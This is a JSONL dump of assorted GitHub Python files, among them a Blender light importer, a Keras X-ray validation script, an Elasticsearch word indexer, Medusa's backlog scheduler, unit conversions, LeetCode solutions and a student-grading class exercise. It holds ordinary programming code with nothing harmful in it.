+{"seq_id":"14228556341","text":"import bpy\nimport numpy as np\n\n\ndef import_lights(parent_obj, model_data):\n    for i, light_data in enumerate(model_data.light_sources):\n        if light_data.mode == 0:  # Point\n            l_type = \"POINT\"\n            light_name = \"PointLamp\" + f'{light_data.light_id}'.rjust(2, '0')\n        elif light_data.mode == 2:  # Ambient\n            l_type = \"AREA\"\n            light_name = \"AmbientLamp\"\n        elif light_data.mode == 3:  # Directional\n            l_type = \"SUN\"\n            light_name = \"DirLamp\" + f'{light_data.light_id}'.rjust(2, '0')\n        elif light_data.mode == 4:  # Fog\n            l_type = \"AREA\"\n            light_name = \"Fog\"\n        else:\n            assert 0, f\"Unknown light mode enum \\'{light_data.mode}\\'.\"\n\n        light = bpy.data.lights.new(light_name, l_type)\n        light.energy = light_data.intensity\n        light.color = (light_data.red, light_data.green, light_data.blue)\n\n        light_obj = bpy.data.objects.new(light_name, light)\n        bpy.context.collection.objects.link(light_obj)\n        light_obj.parent = parent_obj\n\n        # Add data that I don't think Blender can handle\n        if light_data.mode == 4:\n            light_obj[\"Unknown_Fog_Param\"] = light_data.unknown_fog_param\n        light_obj[\"Alpha\"] = light_data.alpha\n\n        # Attach it to a bone if it isn't fog\n        if light_data.mode != 4:\n            light_obj.rotation_euler[0] = -90 * (np.pi/180)\n            constraint = light_obj.constraints.new(\"CHILD_OF\")\n            constraint.target = bpy.data.objects[f\"{parent_obj.name}_armature\"]\n\n            constraint.subtarget = light_data.bone_name\n","repo_name":"Pherakki/Blender-Tools-for-DSCS","sub_path":"BlenderIO/Import/LightImport.py","file_name":"LightImport.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"22"}
+{"seq_id":"27749045190","text":"from keras.preprocessing import image\nfrom keras import models\nimport numpy as np\nfrom PIL import Image\n\n\nmodel = models.load_model('./model')\n\ndef load_image(caminho):\n  return Image.open(caminho).convert('RGB')\n\ndef formatImage(image):\n  image = image.resize((64,64), Image.LINEAR)\n  image = image.img_to_array(image)\n  image /= 255\n  image = np.expand_dims(image, axis = 0)\n  return image\n\nnormal_image = load_image('chest_xray_dataset/test/NORMAL/IM-0001-0001.jpeg')\n\nimage_pneumonia = load_image('chest_xray_dataset/test/PNEUMONIA/person1_virus_6.jpeg')\n\nnormal_image = formatImage(normal_image)\nimage_pneumonia = formatImage(image_pneumonia)\n\nnormal_prediction = model.predict(normal_image)\npneumonia_prediction = model.predict(image_pneumonia)\nprint(normal_prediction)\nprint(pneumonia_prediction)\n","repo_name":"kmvbatista/pneumonia-detector","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41243026693","text":"from functools import reduce\nfrom logging import getLogger\nimport re\n\nfrom packages.core.scraper.page_objects import JsonPage\n\nfrom .utils.datetime import str_to_datetime\nfrom .utils.teacher import url_to_username\n\nlogger = getLogger('log_print')\n\n\nclass CoursesPage(JsonPage):\n\n    def resolve(self):\n        \"\"\"Update format of course(state) to match database\n\n        Args:\n            course (dict): course to transform\n        \"\"\"\n        if not hasattr(self, '_course'):\n            course = self.state\n            course['release'] = str_to_datetime(course['release'])\n            course['teacher']['username'] = url_to_username(course['teacher'].pop('path'))\n            course['teacher']['role'] = 'teacher'\n\n            lessons = reduce((lambda memo, cap: memo + cap['lessons']), course.pop('captions'), [])\n            course['lessons'] = tuple(filter(lambda lesson: bool(lesson.get('external_id')), lessons))\n            for index, lesson in enumerate(course['lessons']):\n                lesson['track_number'] = index + 1\n            self._course = course\n        return self._course\n","repo_name":"jmillandev/platzi-scraper","sub_path":"packages/courses/page_objects.py","file_name":"page_objects.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74647520377","text":"'''This handles all of the searching and the tracking of word data'''\nimport re\nimport os, sys\nimport json\nimport nltk\nfrom elasticsearch import Elasticsearch\n\n\nes = Elasticsearch([{'host':'localhost', 'port': 9200}])\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\ndocdir = \"docs\"\nHOST = \"127.0.0.1:9200\"\nINDEX = \"docs\"\nTYPE = \"txt\"\n\nclass Words:\n\t'''Handles the word frequencies, the most common words, etc'''\n\tdef __init__(self):\n\t\tself.words = []\n\t\tself.topwords = []\n\t\tself.wordfreq = []\n\t\tself.wordlist = []\n\n\tdef wordListToFreqDict(self):\n\t\t'''Counts the word frequencies for the given text, and compresses it into a dictionary.'''\n\t\tself.wordfreq = [self.wordlist.count(p) for p in self.wordlist]\n\t\tself.words = dict(zip(self.wordlist,self.wordfreq))\n\n\tdef sortFreqDict(self):\n\t\t'''Sorts a dictionary generated by wordListToFreqDict() based on the calculated frequency'''\n\t\taux = [(self.words[key], key) for key in self.words]\n\t\taux.sort()\n\t\taux.reverse()\n\t\tself.words = aux\n\t\t\n\tdef getWords(self, num):\n\t\t'''Gets search results for the {{num}} most common words in the index'''\n\t\tthesewords = self.words[0:num]\n\t\tsearchlist = []\n\t\tfor w in thesewords:\n\t\t\tsearchresults = self.search(w[1])\n\t\t\tfor finding in searchresults:\n\t\t\t\t# Flatten the results so it can be used by datatables\n\t\t\t\tformatted = [w[1], finding[\"_source\"][\"filename\"], self.highlightWord(finding[\"_source\"][\"text\"], w[1])]\n\t\t\t\tsearchlist.append(formatted)\n\t\treturn searchlist\n\t\t\n\tdef search(self, term):\n\t\t'''This performs the search on elasticsearch indexes'''\n\t\tresult = es.search(index=INDEX, doc_type=TYPE, body={\"query\": {\"match\" : {\"text\": term.strip()}}})\n\t\tif result.get('hits') is not None and result['hits'].get('hits') is not None:\n\t\t\thits = result['hits']['hits']\n\t\telse:\n\t\t\thits = {}\n\t\t\n\t\treturn hits\n\t\t\n\tdef highlightWord(self, sentence, word):\n\t\t'''Simple function to highlight a given word and return the result with HTML formatting applied'''\n\t\t\n\t\t# We want to replace the word no matter the capitalisation...\n\t\ttry:\n\t\t\tresults = [m.start() for m in re.finditer(word.lower(), sentence.lower())]\n\t\texcept:\n\t\t\treturn sentence\n\t\t\t\n\t\tif results is None or len(results) == 0:\n\t\t\treturn sentence\n\t\t\t\n\t\t#results = sorted(results, key=int, reverse=True)\n\t\tresults.sort(reverse=True)\n\t\t\n\t\t# Find the search term (case insensitive) and replace it with formatting\n\t\tfor widx in results:\n\t\t\tsentence = sentence[:widx] + \"<b class='highlight'>\" + sentence[widx:widx+len(word)] + \"</b>\" + sentence[widx+len(word):]\n\t\t\n\t\treturn sentence\n\t\t\ndef indexDocs(stopwords):\n\t'''Originally it was planned that Elasticsearch do this, but I couldn't get the analatics to work right, so \n\tI calculated word frequencies this way.'''\n\ttext_docs = []\n\twordfreq = []\n\toverallwords = []\n\tfor f in os.listdir(\"docs\"):\n\t\t# Cycle through files in docs\n\t\tif f.endswith('.txt'):\n\t\t\t# Only handle txt files\n\t\t\tfp = open(os.path.join(docdir, f), encoding='utf8')\n\t\t\tdata = fp.read()\n\t\t\twordlist = data.split()\n\t\t\t\n\t\t\t# Remove any special characters from words\n\t\t\twordlist = [p.translate(dict.fromkeys(map(ord,u',!.-;\"?:'))) for p in wordlist]\n\t\t\tfor w in wordlist:\n\t\t\t\tw = w.strip().lower()\n\t\t\t\tif w in stopwords:\n\t\t\t\t\t# Only add if the words aren't in the \"stopwords\" list\n\t\t\t\t\tcontinue\n\t\t\t\telif len(w) > 0:\n\t\t\t\t\t# Ignore blank strings\n\t\t\t\t\twordfreq.append(wordlist.count(w))\n\t\t\t\t\toverallwords.append(w)\n\treturn overallwords, wordfreq\n\ndef loadStopWords():\n\t# Load stopwords from file\n\twords = []\n\twith open(\"stopwords.txt\", encoding='utf8') as stopfile:\n\t\twords = stopfile.readlines()\n\twords = [x.strip() for x in words]\n\twords = list(filter(None, words))\n\treturn words\n","repo_name":"cyramic/cyramdocumentindex","sub_path":"Words.py","file_name":"Words.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17546410331","text":"# coding=utf-8\n\n\"\"\"Backlog module.\"\"\"\nfrom __future__ import unicode_literals\n\nimport datetime\nimport logging\nimport threading\nfrom builtins import object\nfrom builtins import str\nfrom uuid import uuid4\n\nfrom medusa import app, db, ui, ws\nfrom medusa.logger.adapters.style import BraceAdapter\nfrom medusa.schedulers import scheduler\nfrom medusa.search.queue import BacklogQueueItem\n\nfrom six import iteritems\n\nlog = BraceAdapter(logging.getLogger(__name__))\nlog.logger.addHandler(logging.NullHandler())\n\n\nclass BacklogSearchScheduler(scheduler.Scheduler):\n    \"\"\"Backlog search scheduler class.\"\"\"\n\n    def force_search(self):\n        \"\"\"Set the last backlog in the DB.\"\"\"\n        self.action._set_last_backlog(1)\n        self.lastRun = datetime.datetime.fromordinal(1)\n\n    def next_run(self):\n        \"\"\"Return when backlog should run next.\"\"\"\n        if self.action._last_backlog <= 1:\n            return datetime.date.today()\n        else:\n            backlog_frequency_in_days = int(self.action.cycleTime)\n            return datetime.date.fromordinal(self.action._last_backlog + backlog_frequency_in_days)\n\n\nclass BacklogSearcher(object):\n    \"\"\"Backlog Searcher class.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize the class.\"\"\"\n        self._last_backlog = self._get_last_backlog()\n        self.cycleTime = app.BACKLOG_FREQUENCY / 60.0 / 24\n        self.lock = threading.Lock()\n        self.amActive = False\n        self.amPaused = False\n        self.amWaiting = False\n        self.forced = False\n        self.currentSearchInfo = {}\n\n        self._to_json = {\n            'identifier': str(uuid4()),\n            'name': 'BACKLOG',\n            'queueTime': str(datetime.datetime.utcnow()),\n            'force': self.forced\n        }\n\n        self._reset_pi()\n\n    def _reset_pi(self):\n        \"\"\"Reset percent done.\"\"\"\n        self.percentDone = 0\n        self.currentSearchInfo = {'title': 'Initializing'}\n\n    def get_progress_indicator(self):\n        \"\"\"Get backlog search progress indicator.\"\"\"\n        if self.amActive:\n            return ui.ProgressIndicator(self.percentDone, self.currentSearchInfo)\n        else:\n            return None\n\n    def am_running(self):\n        \"\"\"Check if backlog is running.\"\"\"\n        log.debug(u'amWaiting: {0}, amActive: {1}', self.amWaiting, self.amActive)\n        return (not self.amWaiting) and self.amActive\n\n    def search_backlog(self, which_shows=None):\n        \"\"\"Run the backlog search for given shows.\"\"\"\n        if self.amActive:\n            log.debug(u'Backlog is still running, not starting it again')\n            return\n\n        if app.forced_search_queue_scheduler.action.is_forced_search_in_progress():\n            log.warning(u'Manual search is running. Unable to start Backlog Search')\n            return\n\n        self.amActive = True\n        self.amPaused = False\n\n        if which_shows:\n            show_list = which_shows\n        else:\n            show_list = app.showList\n\n        self._get_last_backlog()\n\n        cur_date = datetime.date.today().toordinal()\n        from_date = datetime.date.fromordinal(1)\n\n        if not which_shows and self.forced:\n            log.info(u'Running limited backlog search on missed episodes from last {0} days',\n                     app.BACKLOG_DAYS)\n            from_date = datetime.date.today() - datetime.timedelta(days=app.BACKLOG_DAYS)\n        else:\n            log.info(u'Running full backlog search on missed episodes for selected shows')\n\n        # go through non air-by-date shows and see if they need any episodes\n        for series_obj in show_list:\n\n            if series_obj.paused:\n                continue\n\n            segments = series_obj.get_wanted_segments(from_date=from_date)\n\n            for season, segment in iteritems(segments):\n                self.currentSearchInfo = {'title': '{series_name} Season {season}'.format(series_name=series_obj.name,\n                                                                                          season=season)}\n\n                backlog_queue_item = BacklogQueueItem(series_obj, segment)\n                app.search_queue_scheduler.action.add_item(backlog_queue_item)  # @UndefinedVariable\n\n            if not segments:\n                log.debug(u'Nothing needs to be downloaded for {0!r}, skipping', series_obj.name)\n\n        # don't consider this an actual backlog search if we only did recent eps\n        # or if we only did certain shows\n        if from_date == datetime.date.fromordinal(1) and not which_shows:\n            self._set_last_backlog(cur_date)\n\n        self.amActive = False\n        self._reset_pi()\n\n    def _get_last_backlog(self):\n        \"\"\"Get the last time backloged runned.\"\"\"\n        log.debug(u'Retrieving the last check time from the DB')\n\n        main_db_con = db.DBConnection()\n        sql_results = main_db_con.select('SELECT last_backlog '\n                                         'FROM info')\n\n        if not sql_results:\n            last_backlog = 1\n        elif sql_results[0]['last_backlog'] is None or sql_results[0]['last_backlog'] == '':\n            last_backlog = 1\n        else:\n            last_backlog = int(sql_results[0]['last_backlog'])\n            if last_backlog > datetime.date.today().toordinal():\n                last_backlog = 1\n\n        self._last_backlog = last_backlog\n        return self._last_backlog\n\n    @staticmethod\n    def _set_last_backlog(when):\n        \"\"\"Set the last backlog in the DB.\"\"\"\n        log.debug(u'Setting the last backlog in the DB to {0}', when)\n\n        main_db_con = db.DBConnection()\n        sql_results = main_db_con.select('SELECT last_backlog '\n                                         'FROM info')\n\n        if not sql_results:\n            main_db_con.action('INSERT INTO info (last_backlog, last_indexer) '\n                               'VALUES (?,?)', [str(when), 0])\n        else:\n            main_db_con.action('UPDATE info '\n                               'SET last_backlog={0}'.format(when))\n\n    def run(self, force=False):\n        \"\"\"Run the backlog.\"\"\"\n        try:\n            if force:\n                self.forced = True\n\n            # Push an update to any open Web UIs through the WebSocket\n            ws.Message('QueueItemUpdate', self._to_json).push()\n            self.search_backlog()\n            ws.Message('QueueItemUpdate', self._to_json).push()\n\n        except Exception:\n            self.amActive = False\n            raise\n","repo_name":"pymedusa/Medusa","sub_path":"medusa/search/backlog.py","file_name":"backlog.py","file_ext":"py","file_size_in_byte":6406,"program_lang":"python","lang":"en","doc_type":"code","stars":1665,"dataset":"github-code","pt":"22"}
+{"seq_id":"35187287754","text":"a=int(input())\nsq=a*a\nsu=0\nwhile sq>0:\n    r=sq%10\n    su=su+r\n    sq=sq//10\nif su==a:\n    print(\"Neon Number\")\nelse:\n    print(\"Not Neon Number\")\n","repo_name":"soumyalr/codemind-python","sub_path":"Neon_Number.py","file_name":"Neon_Number.py","file_ext":"py","file_size_in_byte":147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10216025833","text":"from __future__ import division, unicode_literals\n\n__version__ = '$Revision: 1 $'\n# $Source$\n\nfrom numpy import (arcsin, arctan, asarray, cos, cosh, meshgrid, ndarray,\n    polyval, sin, sinh, tan, tanh)\nfrom numpy import ma\n\n__all__ = ['fromAtoB']\n\n\ndef fromAtoB(data_in, A, B, vtype=None):\n    \"\"\"\n    Converts from input data from unit A to unit B.\n\n    Parameters\n    ----------\n    data_in : float, array like\n        Input data to be converted.\n    A : string\n        Input data unit.\n    B : string\n        Desired output data unit.\n    vtype : string, optional\n        Determines the type of the variable. If type is `stdev`, no\n        offset is applied, only scaling.\n\n    Returns\n    -------\n    data_out : float, array like\n        Converted data.\n\n    \"\"\"\n    #\n    #\n    if A == B:\n        return data_in\n    elif (A == 'degC') & (B == 'K'):\n        p = [1, 273.15]\n    elif (A == 'K') & (B == 'degC'):\n        p = [1, -273.15]\n    elif (A == 'mbar') & (B == 'Pa'):\n        p = [1e2, 0]\n    elif (A == 'Pa') & (B == 'mbar'):\n        p = [1e-2, 0]\n    elif (A == 'hPa') & (B == 'Pa'):\n        p = [1e2, 0]\n    elif (A == 'Pa') & (B == 'hPa'):\n        p = [1e-2, 0]\n    elif (A in ['%', '1e-2']) & (B == '1'):\n        p = [1e-2, 0]\n    elif (A == '1') & (B in ['%', '1e-2']):\n        p = [1e2, 0]\n    elif (A == '1e-3') & (B == '1'):\n        p = [1e-3, 0]\n    elif (A == '1') & (B == '1e-3'):\n        p = [1e3, 0]\n    elif (A == 'ppm') & (B == '1'):\n        p = [1e-6, 0]\n    elif (A == '1') & (B == 'ppm'):\n        p = [1e6, 0]\n    elif (A == 'km h-1') & (B == 'm s-1'):\n        p = [1./3.6, 0]\n    elif (A == 'm s-1') & (B == 'km h-1'):\n        p = [3.6, 0]\n    elif (A == 'mm h-1') & (B == 'm s-1'):\n        p = [1./3.6 * 1e-6, 0]\n    elif (A == 'm s-1') & (B == 'mm h-1'):\n        p = [3.6 * 1e6, 0]\n    elif (A == 'm s-1') & (B == 'knot'):\n        p = [1.9438444924574, 0]\n    elif (A == 'knot') & (B == 'm s-1'):\n        p = [0.51444444444, 0]\n    elif (A in [u'µmol m-2 s-1', 'µmol m-2 s-1', '&#181;mol m-2 s-1']) & (B == 'mol m-2 s-1'):\n        p = [1e-6, 0]\n    elif (A == 'mol m-2 s-1') & (B == u'µmol m-2 s-1'):\n        p = [1e6, 0]\n    elif (A in [u'µg l-1', 'µg l-1', '&#181;g l-1']) & (B == 'kg m-3'):\n        p = [1e-6, 0]\n    elif (A == 'kg m-3') & (B == u'µg l-1'):\n        p = [1e6, 0]\n    elif (A == 'mg l-1') & (B == 'kg m-3'):\n        p = [1e-3, 0]\n    elif (A == 'kg m-3') & (B == 'mg l-1'):\n        p = [1e3, 0]\n    elif (A == 'mg m-3') & (B == 'kg m-3'):\n        p = [1e-6, 0]\n    elif (A == 'kg m-3') & (B == 'mg m-3'):\n        p = [1e6, 0]\n    elif (A == u'µmol m-3') & (B == 'mol m-3'):\n        p = [1e-6, 0]\n    elif (A == 'mol m-3') & (B == u'µmol m-3'):\n        p = [1e6, 0]\n    elif (A == u'µmol l-1') & (B == 'mol m-3'):\n        p = [1e-9, 0]\n    elif (A == 'mol m-3') & (B == u'µmol l-1'):\n        p = [1e9, 0]\n    # The following conversions are experimental!!!\n    elif (A == 'rfu') & (B == '1'):\n        p = [1, 0]\n    elif (A == 'ppb') & (B == '1'):\n        p = [1, 0]\n    #elif (A == '') & (B == ''):\n    else:\n        raise ValueError('Unable to convert from `{}` to `{}`.'.format(A, B))\n    #\n    if vtype == 'stdev':\n        p[1] = 0\n    #\n    if isinstance(data_in, ma.MaskedArray):\n        return ma.array(polyval(p, data_in.data), mask=data_in.mask)\n    else:\n        return polyval(p, data_in)\n\n\ndef fromUTMtoLonLat(E, N, zone, hemisphere=1, datum='WGS84'):\n    \"\"\"\n    Converts geographical units from Universal Transverse Mercator (UTM)\n    conformal projection to longitude and latitude.\n\n    Parameters\n    ----------\n    E, N : float, array like\n        Easting and northing geographic Cartesial coordinates in meters.\n    zone : integer\n    hemisphere : char, integer, optional\n        Either `N` or `+1` for northern hemisphere or `S` or `-1` for\n        southern hemisphere.\n    datum: string, optional\n\n    Returns\n    -------\n    lon, lat : float, array like\n        Longitude and latitude equivalent to UTM coordinates.\n    k : float, array like\n    gamma : float, array like\n\n    References\n    ----------\n    .. [1] Universal Transverse Mercator coordinate system. Available at\n       https://en.wikipedia.org/wiki/\n       Universal_Transverse_Mercator_coordinate_system\n\n    \"\"\"\n    # Checks for easting and northing parameter data type. If they are arrays\n    # we have to create a meshgrid to perform all the calculations.\n    if (isinstance(E, (ndarray, list, tuple)) |\n        isinstance(N, (ndarray, list, tuple))):\n        E, N = meshgrid(asarray(E), asarray(N))\n    # Converts easting and northing parameters to kilometers.\n    E, N = E * 1e-3, N * 1e-3\n\n    # Constants and parameters\n    a = 6378.137 # Equatorial radius of the earth in km.\n    if hemisphere in ['N', 'n', 1]:\n        N0 = 0\n        hemisphere = 1.\n    elif hemisphere in ['S', 's', -1]:\n        N0 = 10000 # Wikipedia assumes km.\n        hemisphere = -1.\n    k0 = 0.9996\n    E0 = 500  # Again, Wikipedia assumes km.\n    f = 1./ 298357223536\n\n    # Some calculated parameters\n    n = f / (2 - f)\n    A = a / (1 + n) * (1 + n**2/4 + n**4 / 64)\n    beta = [1./2*n - 2./3*n**2 + 37./96/n**3, 1./48*n**2 + 1./15*n**3,\n        17./480*n**3]\n    delta = [2*n - 2./3*n**2 - 2*n**3, 7./3*n**2 - 8./5*n**3, 56./15*n**3]\n\n    # Simple lambda functions\n    beta_sincosh = lambda j, epsilon, eta: beta[j-1] * sin(2*j*epsilon) * cosh(2*j*eta)\n    beta_cossinh = lambda j, epsilon, eta: beta[j-1] * cos(2*j*epsilon) * sinh(2*j*eta)\n    beta_coscosh = lambda j, epsilon, eta: 2 * j * beta[j-1] * cos(2*j*epsilon) * cosh(2*j*eta)\n    beta_sinsinh = lambda j, epsilon, eta: 2 * j * beta[j-1] * sin(2*j*epsilon) * sinh(2*j*eta)\n\n    # Intermediate values\n    epsilon = (N - N0) / (k0 - A)\n    eta = (E - E0) / (k0 - A)\n    epsilon_ = epsilon - (beta_sincosh(1, epsilon, eta) + beta_sincosh(2, epsilon, eta) + beta_sincosh(3, epsilon, eta))\n    eta_ = eta - (beta_cossinh(1, epsilon, eta) + beta_cossinh(2, epsilon, eta) + beta_cossinh(3, epsilon, eta))\n    sigma_ = 1 - (beta_coscosh(1, epsilon, eta) + beta_coscosh(2, epsilon, eta) + beta_coscosh(3, epsilon, eta))\n    tau_ = (beta_sinsinh(1, epsilon, eta) + beta_sinsinh(2, epsilon, eta) + beta_sinsinh(3, epsilon, eta))\n    chi = arcsin(sin(epsilon_) / cosh(eta_))\n\n    # Finally\n    phi = chi + (delta[0] * sin(2*1*chi) + delta[1] * sin(2*2*chi) +\n        delta[2] * sin(2*3*chi)) # Latitude\n    lambda0 = zone * 6. - 183. # Longitude of reference meridian\n    lambda_ = lambda0 + arctan(sinh(eta_) / cos(epsilon_))\n    k = k0 * A / a * ((1 + ((1 - n)/(1 + n) * tan(phi))**2) * (((cos(epsilon_))**2 + (sinh(eta_))**2) / (sigma_**2 + tau_**2)))**0.5\n    gamma = hemisphere * arctan((tau_ + sigma_ * tan(epsilon_) * tanh(eta_)) / (sigma_ - tau_ * tan(epsilon_) * tanh(eta_)))\n    #\n    return lambda_, phi, k, gamma\n","repo_name":"regeirk/atlantis","sub_path":"units/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6806,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"24354542265","text":"# 1239. Maximum Length of a Concatenated String with Unique Characters\n# Given an array of strings arr. String s is a concatenation of a sub-sequence of arr which have unique characters.\n#\n# Return the maximum possible length of s.\n#\n# Example 1:\n#\n# Input: arr = [\"un\",\"iq\",\"ue\"]\n# Output: 4\n# Explanation: All possible concatenations are \"\",\"un\",\"iq\",\"ue\",\"uniq\" and \"ique\".\n# Maximum length is 4.\n#\n# Example 2:\n#\n# Input: arr = [\"cha\",\"r\",\"act\",\"ers\"]\n# Output: 6\n# Explanation: Possible solutions are \"chaers\" and \"acters\".\n#\n# Example 3:\n#\n# Input: arr = [\"abcdefghijklmnopqrstuvwxyz\"]\n# Output: 26\n\n#  回溯（递归）+ 位运算\n\nclass Solution:\n    def maxLength(self, arr: List[str]) -> int:\n        masks = list()\n        for s in arr:\n            mask = 0\n            for ch in s:\n                idx = ord(ch) - ord(\"a\")\n                if ((mask >> idx) & 1):   # // 若 mask 已有 ch，则说明 s 含有重复字母，无法构成可行解\n                    mask = 0\n                    break\n                mask |= 1 << idx   # 将 ch 加入 mask 中\n            if mask > 0:\n                masks.append(mask)\n\n        ans = 0\n\n        def backtrack(pos: int, mask: int) -> None:\n            if pos == len(masks):\n                nonlocal ans\n                ans = max(ans, bin(mask).count(\"1\"))\n                return\n\n            if (mask & masks[pos]) == 0:   # mask 和 masks[pos] 无公共元素\n                backtrack(pos + 1, mask | masks[pos])\n            backtrack(pos + 1, mask)\n\n        backtrack(0, 0)\n        return ans\n\n# 迭代 + 位运算\n\nclass Solution:\n    def maxLength(self, arr: List[str]) -> int:\n        ans = 0\n        masks = [0]\n        for s in arr:\n            mask = 0\n            for ch in s:\n                idx = ord(ch) - ord(\"a\")\n                if ((mask >> idx) & 1):   # // 若 mask 已有 ch，则说明 s 含有重复字母，无法构成可行解\n                    mask = 0\n                    break\n                mask |= 1 << idx   # 将 ch 加入 mask 中\n            if mask == 0:\n                continue\n\n            n = len(masks)\n            for i in range(n):\n                m = masks[i]\n                if (m & mask) == 0:   # m 和 mask 无公共元素\n                    masks.append(m | mask)\n                    ans = max(ans, bin(m | mask).count(\"1\"))\n\n        return ans\n","repo_name":"Dis-count/ProgrammingPractice","sub_path":"153.py","file_name":"153.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32934923855","text":"from typing import List\n\n\ndef get_average_grades(all_grades: dict[str: List[int]]) -> int:\n    result = []\n    for key, value in all_grades.items():\n        result.append(sum(value) / len(value))\n    average_grades = sum(result) / len(result)\n    return average_grades\n\n\nclass Student:\n    def __init__(self, name, surname, gender):\n        self.name = name\n        self.surname = surname\n        self.gender = gender\n        self.finished_courses = []\n        self.courses_in_progress = []\n        self.grades = {}\n\n    def rate_lecturer(self, lecturer, course, grade):\n        if isinstance(lecturer, Lecturer) and course in self.courses_in_progress \\\n                and course in lecturer.courses_attached:\n            if course in lecturer.grades:\n                lecturer.grades[course] += [grade]\n            else:\n                lecturer.grades[course] = [grade]\n        else:\n            return 'Ошибка'\n\n    def __gt__(self, other):\n        average_grades_self = get_average_grades(self.grades)\n        average_grades_other = get_average_grades(other.grades)\n\n        if isinstance(other, Student):\n            if average_grades_self > average_grades_other:\n                return f'Cредние оценки студента {self.name} больше, чем студента {other.name}'\n        else:\n            return f'Типы сравниваемых объектов отличаются!'\n\n    def __lt__(self, other):\n        average_grades_self = get_average_grades(self.grades)\n        average_grades_other = get_average_grades(other.grades)\n        if isinstance(other, Student):\n            if average_grades_self < average_grades_other:\n                return f'Cредние оценки студента {self.name} больше, чем студента {other.name}'\n        else:\n            return f'Типы сравниваемых объектов отличаются!'\n\n    def __eq__(self, other):\n        average_grades_self = get_average_grades(self.grades)\n        average_grades_other = get_average_grades(other.grades)\n        if isinstance(other, Student):\n            if average_grades_self == average_grades_other:\n                return f'Cредние оценки студента {self.name} равны оценкам студента {other.name}'\n        else:\n            return f'Типы сравниваемых объектов отличаются!'\n\n    def __str__(self):\n        average_grades = get_average_grades(self.grades)\n        # result = []\n        # for key, value in self.grades.items():\n        #     result.append(sum(value)/len(value))\n        # average_grades = sum(result)/len(result)\n        return f'Имя: {self.name}\\n' \\\n               f'Фамилия: {self.surname}\\n' \\\n               f'Средняя оценка за домашние задания: {round(average_grades, 2)}\\n' \\\n               f'Курсы в процессе изучения: {\", \".join(self.courses_in_progress)}\\n' \\\n               f'Завершенные курсы: {\", \".join(self.finished_courses)}'\n\n\nclass Mentor:\n    def __init__(self, name, surname):\n        self.name = name\n        self.surname = surname\n        self.courses_attached = []\n\n\nclass Lecturer(Mentor):\n    def __init__(self, name, surname):\n        super().__init__(name, surname)\n        self.grades = {}\n\n    def __gt__(self, other):\n        average_grades_self = get_average_grades(self.grades)\n        average_grades_other = get_average_grades(other.grades)\n\n        if isinstance(other, Lecturer):\n            if average_grades_self > average_grades_other:\n                return f'Cредние оценки лектора {self.name} больше, чем лектора {other.name}'\n        else:\n            return f'Типы сравниваемых объектов отличаются!'\n\n    def __lt__(self, other):\n        average_grades_self = get_average_grades(self.grades)\n        average_grades_other = get_average_grades(other.grades)\n        if isinstance(other, Lecturer):\n            if average_grades_self < average_grades_other:\n                return f'Cредние оценки лектора {self.name} больше, чем лектора {other.name}'\n        else:\n            return f'Типы сравниваемых объектов отличаются!'\n\n    def __eq__(self, other):\n        average_grades_self = get_average_grades(self.grades)\n        average_grades_other = get_average_grades(other.grades)\n        if isinstance(other, Lecturer):\n            if average_grades_self == average_grades_other:\n                return f'Cредние оценки лектора {self.name} равны оценкам лектора {other.name}'\n        else:\n            return f'Типы сравниваемых объектов отличаются!'\n\n    def __str__(self):\n        average_grades = get_average_grades(self.grades)\n        # result = []\n        # for key, value in self.grades.items():\n        #     result.append(sum(value)/len(value))\n        # average_grades = sum(result)/len(result)\n        return f'Имя: {self.name}\\n' \\\n               f'Фамилия: {self.surname}\\n' \\\n               f'Средняя оценка за лекции: {round(average_grades, 2)}\\n'\n\n\nclass Reviewer(Mentor):\n    def __init__(self, name, surname):\n        super().__init__(name, surname)\n\n    def rate_hw(self, student, course, grade):\n        if isinstance(student, Student) and course in self.courses_attached and course in student.courses_in_progress:\n            if course in student.grades:\n                student.grades[course] += [grade]\n            else:\n                student.grades[course] = [grade]\n        else:\n            return 'Ошибка'\n\n    def __str__(self):\n        return f'Имя: {self.name}\\nФамилия: {self.surname}\\n'\n\n\nbest_student = Student('Ruoy', 'Eman', 'your_gender')\nbest_student.courses_in_progress += ['Python']\nbest_student.courses_in_progress += ['Git']\nbest_student.finished_courses += ['Введение в программирование']\n\ncool_student = Student('Molly', 'Gwins', 'your_gender')\ncool_student.courses_in_progress += ['Git']\ncool_student.courses_in_progress += ['Python']\ncool_student.courses_in_progress += ['Django']\ncool_student.finished_courses += ['Введение в программирование']\n\nfirst_reviewer = Reviewer('Some', 'Buddy')\nfirst_reviewer.courses_attached += ['Python']\nfirst_reviewer.courses_attached += ['Git']\n\nsecond_reviewer = Reviewer('Karl', 'Stone')\nsecond_reviewer.courses_attached += ['Git']\nsecond_reviewer.courses_attached += ['Django']\n\nfirst_lecturer = Lecturer('Spam', 'Eggs')\nfirst_lecturer.courses_attached += ['Python']\nfirst_lecturer.courses_attached += ['Git']\n\nsecond_lecturer = Lecturer('Lama', 'Alabama')\nsecond_lecturer.courses_attached += ['Django']\nsecond_lecturer.courses_attached += ['Python']\n\nfirst_reviewer.rate_hw(best_student, 'Python', 10)\nfirst_reviewer.rate_hw(best_student, 'Git', 9)\nfirst_reviewer.rate_hw(cool_student, 'Python', 10)\n\nsecond_reviewer.rate_hw(best_student, 'Django', 8)\nsecond_reviewer.rate_hw(cool_student, 'Git', 10)\nsecond_reviewer.rate_hw(cool_student, 'Django', 7)\n\nbest_student.rate_lecturer(first_lecturer, 'Python', 10)\ncool_student.rate_lecturer(first_lecturer, 'Git', 8)\n# 